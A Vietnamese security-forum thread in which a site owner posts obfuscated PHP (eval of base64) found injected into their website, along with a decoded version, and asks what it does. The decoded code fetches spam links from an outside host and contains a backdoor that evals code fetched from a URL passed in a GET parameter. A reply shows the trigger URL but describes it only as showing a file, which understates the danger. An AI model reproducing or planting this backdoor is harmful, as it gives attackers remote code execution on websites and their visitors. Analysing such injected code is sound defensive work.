Website bị chèn một số mã độc

English | Vietnamese

Rules

Main Forum

Portal

Member Listing

Statistics

Search

Reading Room
[Register]

Login [ | https ]

Forum Index

Thảo luận bảo mật

Website bị chèn một số mã độc

[Analyzing] Website bị chèn một số mã độc	28/07/2013 13:48:59 (+0700) \| #1 \| 277834

talkmylove
Member

Joined: 17/12/2009 07:19:58
Messages: 1
Offline

Hiện tại website mình đang bị chèn 1 số code lạ mà mình không biết code đó có tác dụng làm gì, mong ae giúp.

eval(base64_decode("ZXZhbChiYXNlNjRfZGVjb2RlKCJKSFZ5YkQwa1gxTkZVbFpGVWxzaVUwVlNWa1ZTWDA1QlRVVWlYVHNLSkdodmJXVndZV2RsSUQwZ1ptbHNaVjluWlhSZlkyOXVkR1Z1ZEhNb0ltaDBkSEE2THk5amRXNW5jMlZ2YkdWdWRHOXdMbU52YlM5NVoyOXZaMnhsTDJ4cGJtc3VjR2h3UDNWeWJEMGtkWEpzSWlrN0NpUnJaVzVuSUQwZ0pHaHZiV1Z3WVdkbE93PT0iKSk7"));
echo $keng;
eval(base64_decode('ZXZhbChiYXNlNjRfZGVjb2RlKCJhV1lvYVhOelpYUW9KRjlIUlZSYkltTjFiMjVuYTJWdVp5SmRLU2tLZXdvSlpXTm9ieUFpU0dWc2JHOGdRM1Z2Ym1kTFpXNW5JRG9nUEM5aWNqNGdJanNLQ1dsbUtHbHpjMlYwS0NSZlIwVlVXeUpyZFhKc0lsMHBLUW9KQ1hzS0NRa0phV1lvSkY5SFJWUmJJbXQxY213aVhTRTlJaUlwQ2drSkNXVjJZV3dvWm1sc1pWOW5aWFJmWTI5dWRHVnVkSE1vSkY5SFJWUmJJbXQxY213aVhTa3BPd29KQ1gwS0NRbGxiSE5sQ2drSlpXTm9ieUFpUEdFZ2FISmxaajFjSWo5amRXOXVaMnRsYm1jbWEzVnliRDFjSWo1dVpYaDBQQzloUGlJN0NnbGxlR2wwS0NrN0NuMD0iKSk7'));

Dịch ra :
$url=$_SERVER["SERVER_NAME"];
$homepage = file_get_contents("http://cungseolentop.com/ygoogle/link.php?url=$url");
$keng = $homepage;
if(isset($_GET["cuongkeng"]))
{
echo "Hello CuongKeng : </br> ";
if(isset($_GET["kurl"]))
{
if($_GET["kurl"]!="")
eval(file_get_contents($_GET["kurl"]));
}
else
echo "<a href=\"?cuongkeng&kurl=\">next</a>";
exit();
}

Mình gà mờ về code nên ae giúp mình xem đoạn code này có nghĩa gì vs nha

[Analyzing] Website bị chèn một số mã độc	28/07/2013 15:07:45 (+0700) \| #2 \| 277835

lhthanh
Member

Joined: 22/07/2013 08:41:06
Messages: 5
Offline

đoạn mã này sẽ show file khi gọi url
xxx.com/cuongken.php?cuongkeng&kurl=abc.txt

Go to:

Users currently in here
1 Anonymous